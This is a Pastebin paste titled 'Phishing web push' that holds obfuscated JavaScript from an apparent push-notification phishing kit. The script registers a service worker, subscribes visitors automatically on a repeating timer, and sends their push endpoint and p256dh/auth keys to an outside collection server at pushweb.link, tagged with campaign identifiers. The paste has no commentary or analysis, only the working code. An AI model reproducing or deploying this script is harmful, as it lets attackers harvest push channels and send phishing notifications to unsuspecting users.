Advertisement
MertcanGokgoz

Phishing web push

Apr 26th, 2020
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.33 KB | None | 0 0
  1. var aspkey = "BFawAJSjwmCG0j28zK9Yi-C5k-uh-9b74mgeAp8S1ZveHJFdSE2tYMgvaKfPWdNaBPN1wbYjyHi3ssjEpM0oTyc";
  2. if (!window.aspkey) {
  3. throw new Error("missing a public key")
  4. };
  5. var pushcontrol = 0;
  6. var pushsubcontrol = 0;
  7. const applicationServerPublicKey = window.aspkey;
  8. let isSubscribed = false;
  9. let swRegistration = null;
  10.  
  11. function urlB64ToUint8Array(_0x41c1x9) {
  12. const _0x41c1xa = "=".repeat((4 - _0x41c1x9.length % 4) % 4);
  13. const _0x41c1xb = (_0x41c1x9 + _0x41c1xa).replace(/\-/g, "\+").replace(/_/g, "/");
  14. const _0x41c1xc = window.atob(_0x41c1xb);
  15. const _0x41c1xd = new Uint8Array(_0x41c1xc.length);
  16. for (let _0x41c1xe = 0; _0x41c1xe < _0x41c1xc.length; ++_0x41c1xe) {
  17. _0x41c1xd[_0x41c1xe] = _0x41c1xc.charCodeAt(_0x41c1xe)
  18. };
  19. return _0x41c1xd
  20. }
  21. if ("serviceWorker" in navigator && "PushManager" in window) {
  22. navigator.serviceWorker.register("/pushservice.js").then(function (_0x41c1x10) {
  23. swRegistration = _0x41c1x10;
  24. initialiseUI()
  25. }).catch(function (_0x41c1xf) {
  26. console.log(_0x41c1xf)
  27. })
  28. } else {
  29. pushcontrol = 2
  30. };
  31.  
  32. function subscribeUser() {
  33. const _0x41c1x12 = urlB64ToUint8Array(applicationServerPublicKey);
  34. swRegistration.pushManager.subscribe({
  35. userVisibleOnly: true,
  36. applicationServerKey: _0x41c1x12
  37. }).then(function (_0x41c1x14) {
  38. updateSubscriptionOnServer(_0x41c1x14);
  39. isSubscribed = true;
  40. updateBtn()
  41. }).catch(function (_0x41c1x13) {
  42. updateBtn()
  43. })
  44. }
  45.  
  46. function updateBtn() {
  47. pushsubcontrol = 1;
  48. if (Notification.permission === "denied") {
  49. pushcontrol = 3;
  50. updateSubscriptionOnServer(null);
  51. return
  52. };
  53. if (isSubscribed) {
  54. pushcontrol = 1
  55. } else {
  56. pushcontrol = 0
  57. }
  58. }
  59.  
  60. function updateSubscriptionOnServer(_0x41c1x14) {
  61. if (_0x41c1x14) {
  62. const _0x41c1x17 = _0x41c1x14.getKey("p256dh");
  63. const _0x41c1x18 = _0x41c1x14.getKey("auth");
  64. fetch("https://pushweb.link/subscribers/add_subscribers.php", {
  65. method: "post",
  66. headers: new Headers({
  67. 'Content-Type': "application/json"
  68. }),
  69. body: JSON.stringify({
  70. endpoint: _0x41c1x14.endpoint,
  71. key: _0x41c1x17 ? btoa(String.fromCharCode.apply(null, new Uint8Array(_0x41c1x14.getKey("p256dh")))) : null,
  72. token: _0x41c1x18 ? btoa(String.fromCharCode.apply(null, new Uint8Array(_0x41c1x14.getKey("auth")))) : null,
  73. axn: "subscribe",
  74. prop: xproper,
  75. qrum: qrum
  76. })
  77. }).then(function (_0x41c1x19) {
  78. return _0x41c1x19.text()
  79. }).then(function (_0x41c1x19) {}).catch(function (_0x41c1x13) {})
  80. } else {}
  81. }
  82.  
  83. function initialiseUI() {
  84. swRegistration.pushManager.getSubscription().then(function (_0x41c1x14) {
  85. isSubscribed = !(_0x41c1x14 === null);
  86. if (isSubscribed) {
  87. pushcontrol = 1
  88. } else {
  89. pushcontrol = 0
  90. };
  91. updateBtn();
  92. returnactionfunc(pushcontrol);
  93. if (timecontrollerfuncenabled == "1") {
  94. var _0x41c1x1b = setInterval(_0x41c1x1c, 250);
  95.  
  96. function _0x41c1x1c() {
  97. updateBtn();
  98. timecontroller(pushcontrol)
  99. }
  100. };
  101. if (pushcontrol == "0") {
  102. var _0x41c1x1d = setInterval(_0x41c1x1e, 250);
  103.  
  104. function _0x41c1x1e() {
  105. if (setactionsub == "showsubmenu") {
  106. subscribeUser();
  107. clearInterval(_0x41c1x1d)
  108. }
  109. }
  110. }
  111. })
  112. }
  113. var qrum = 18;
  114. var xproper = 22;
  115. var setactionsub = "showsubmenu";
  116. var pushserverreturneddata = "";
  117. var timecontrollerfuncenabled = "1"; //0=disabled
  118.  
  119. function timecontroller(pushcontrol) {
  120. pushserverreturneddata = pushcontrol;
  121. /* 250ms timer get pushinfo
  122. 0=no sucribe
  123. 1=sucribe
  124. 2=not support
  125. 3=blocked
  126. setactionsub=="showsubmenu" show sub menu
  127. */
  128. //console.log(pushcontrol);
  129. }
  130.  
  131. function returnactionfunc(pushcontrol) {
  132. pushserverreturneddata = pushcontrol;
  133. /*
  134. 0=no sucribe
  135. 1=sucribe
  136. 2=not support
  137. 3=blocked
  138. setactionsub=="showsubmenu" show sub menu
  139. */
  140. console.log(pushcontrol);
  141. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement